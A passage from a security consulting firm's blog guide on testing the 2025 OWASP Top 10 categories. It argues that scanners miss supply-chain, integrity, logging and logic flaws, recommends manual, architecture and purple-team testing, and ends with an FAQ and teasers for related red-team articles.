For A03 and A08, the issue often lives upstream of the deployed app: compromised dependencies, build pipelines, artifacts, deserialization boundaries, or trust assumptions between systems. SCA tools can identify known vulnerable libraries, but they will not detect a malicious package without a CVE or a logic bomb hidden in a build step. Most AppSec engagements are scoped as black‑box or gray‑box testing of deployed applications, not as deep SDLC reviews or supply‑chain integrity assessments, which is why these categories rarely surface there.

A09: visibility, not payloads

For A09, the challenge is visibility. Logging and alerting failures are almost impossible to grade from a pure black‑box application test because the tester can generate noise, but cannot see whether the SOC saw it, how it was triaged, or whether an alert fired at all. That is why A09 is better measured in purple team or adversarial collaboration work, where TTPs are replayed and detections are observed directly instead of inferred from external behavior.

The takeaway is simple. If the only view into A03, A08, and A09 comes from scanner output and internal attestations, there are likely blind spots. These categories require different tests and should be scoped that way. When Lares tests them, it typically does so through architecture reviews, supply‑chain and integrity assessments, or purple‑team exercises, rather than classic web application engagements.

Remediation summary

  • Scope dedicated reviews for A03 and A08 into SDLC and architecture work, including build pipeline and dependency trust modeling, rather than relying on production app scans alone.
  • Use purple‑team or adversarial collaboration exercises to evaluate A09, where you can observe detections, triage, and alerting behavior directly.
  • Treat scanner output and internal attestations for these categories as starting points, not proof of coverage, and plan separate tests to validate them.

Pulling it together: what to change now

The 2025 OWASP Top 10 is a reminder that modern application risk lives in behavior, not just syntax. Broken access control, insecure design, fragile authentication, and mishandled exceptional conditions rarely appear as neat findings in a scanner report, yet they are the flaws Lares most often chains into a full compromise.

For security leaders, the takeaway is clear: scanners provide necessary hygiene, but they cannot be your only lens on the categories that matter most. You need adversarial testing, design review, and stateful analysis that exercise how your applications actually handle identity, authorization, cryptography, and failure.

As a next step, consider three simple actions:

  1. Map your last 12 months of production incidents to the 2025 OWASP Top 10 and identify where they cluster.
  2. Review which Top 10 categories in your environment rely primarily on SAST/DAST output rather than on adversarial testing or architecture review.
  3. Select one critical application to undergo a Lares‑style assessment focused on A01, A06, A07, and A10, using explicit scenarios that mirror the case studies in this guide.

Lares focuses exclusively on offensive security and adversary‑style testing, helping organizations see how their “scan‑clean” applications actually behave under realistic pressure across the 2025 OWASP Top 10. When you are ready to move beyond dashboards and validate your controls against the kinds of paths described in this guide, our team can help you design and execute the right tests.

FAQ

Most scanners focus on syntax, payloads, and known patterns. They rarely understand business logic, identity context, or how an application behaves across multi-step workflows and exceptional conditions. Categories like Broken Access Control, Insecure Design, Authentication Failures, and Mishandling of Exceptional Conditions depend on stateful behavior and trust decisions that automated tools cannot reliably judge.

Lares runs manual, adversarial application security testing that exercises real user journeys, multi-tenant behavior, error paths, and cross-service workflows instead of relying only on scanner output. Engineers map findings to OWASP Top 10 categories and focus on how attackers would chain broken access control, insecure design, cryptographic misuse, and authentication flaws into full compromise.

Teams should add manual testing when critical applications are scan-clean but still handle sensitive data, complex authorization, custom cryptography, or high-value transactions. Manual testing is especially important for categories like A01, A04, A06, A07, and A10, where the highest-impact issues are driven by design, trust, and failure behavior rather than simple input validation.

Security leaders can map their own incidents and findings to the 2025 OWASP Top 10, identify which categories are measured only by scanners and attestations, and then prioritize adversarial testing for those areas. The Lares field notes and “What scanners usually miss” sections provide ready-made test ideas and validation scenarios teams can use to pressure-test their highest-risk applications.

Related Article

The Phantom Menace: Exposing hidden risks through ACLs in Active Directory

June 18, 2026 by Raúl Redondo Discover how attackers exploit hidden risks in Active Directory ACLs. Explore techniques like GenericAll, GenericWrite, and WriteDACL abuse in our latest post. Read More Blog, Insider Threat, Penetration Testing, Red Teaming

Kerberos IV - Delegations

June 17, 2026 by Raúl Redondo Discover how to abuse Kerberos for lateral movement. Learn User Impersonation techniques like Pass the Ticket, Shadow Credentials, and forging tickets. Read More Blog, Blue Team, Penetration Testing, Red Teaming

Kerberos III - User Impersonation

June 17, 2026 by Raúl Redondo Discover how to abuse Kerberos for lateral movement. Learn User Impersonation techniques like Pass the Ticket, Shadow Credentials, and forging tickets. Read More Blog, Blue Team, Penetration Testing, Red Teaming

Kerberos II - Credential Access

June 16, 2026 by Raúl Redondo Dive into the fundamentals of the Kerberos authentication protocol. Explore its history, core concepts, authentication flow, and PKINIT in part one of our series. Read More Blog, Blue Team, Penetration Testing, Red Teaming

Kerberos I - Overview

June 16, 2026 by Raúl Redondo Dive into the fundamentals of the Kerberos authentication protocol. Explore its history, core concepts, authentication flow, and PKINIT in part one of our series. Read More Blog, Blue Team, Penetration Testing, Red Teaming

Outlook 365 for the PWN

June 4, 2026 by Lares Labs Outlook 365 for the PWN shows how an attacker can chain built in tools like PowerShell, Word macros, and Outlook COM automation to quietly enumerate domain users and exfiltrate data over email, then closes with practical macro hardening steps in GPO and Endpoint Manager to help defenders get ahead of this tradecraft. Read More Blog, Penetration Testing, Red Teaming

Red Team 101 - An Introduction

June 1, 2026 by Lares Labs Red Team 101 explains how Lares uses objective based, adversary emulation exercises to test whether mature security programs can detect, investigate, and contain real-world attacks across social, physical, and electronic attack surfaces. Read More Blog, Red Teaming

How Lares Thinks About Mythos-Class AI in Offensive Security

May 26, 2026 by Andrew Heller Mythos-class AI is changing how vulnerabilities are found, not replacing real adversaries. Learn how Lares views Mythos, AI-assisted testing, and what security teams should do next. Read More Blog, Penetration Testing, Red Teaming

The Lowdown on Lateral Movement

May 28, 2026 by Lares Labs Defenders think in lists, but attackers think in graphs. In this post, the Lares Labs team breaks down the mechanics of lateral movement and explores how you can leverage Symmetrical Task Framing to outmaneuver threat actors navigating your network. Read More Blog, Purple Teaming, Red Teaming

What We Look For in a Penetration Tester at Lares (And Why Clients Care)

May 15, 2026 by Andrew Heller What is the difference between a standard security report and a true adversarial assessment? It all comes down to the operators. See what we look for at Lares. Read More Blog, Penetration Testing, Purple Teaming, Red Teaming

Empowering Organizations to Maximize Their Security Potential.

Lares is a security consulting firm that helps companies secure electronic, physical, intellectual, and financial assets through a unique blend of assessment, testing, and coaching since 2008.

18+ Years

In business

600+

Customers worldwide

4,500+

Engagements

Where There is Unity, There is Victory

[Ubi concordia, ibi victoria]

– Publius Syrus

Contact Lares Consulting logo (image)

Continuous defensive improvement through adversarial simulation and collaboration.

Email Us

©2025 Lares, a Damovo Company | All rights reserved.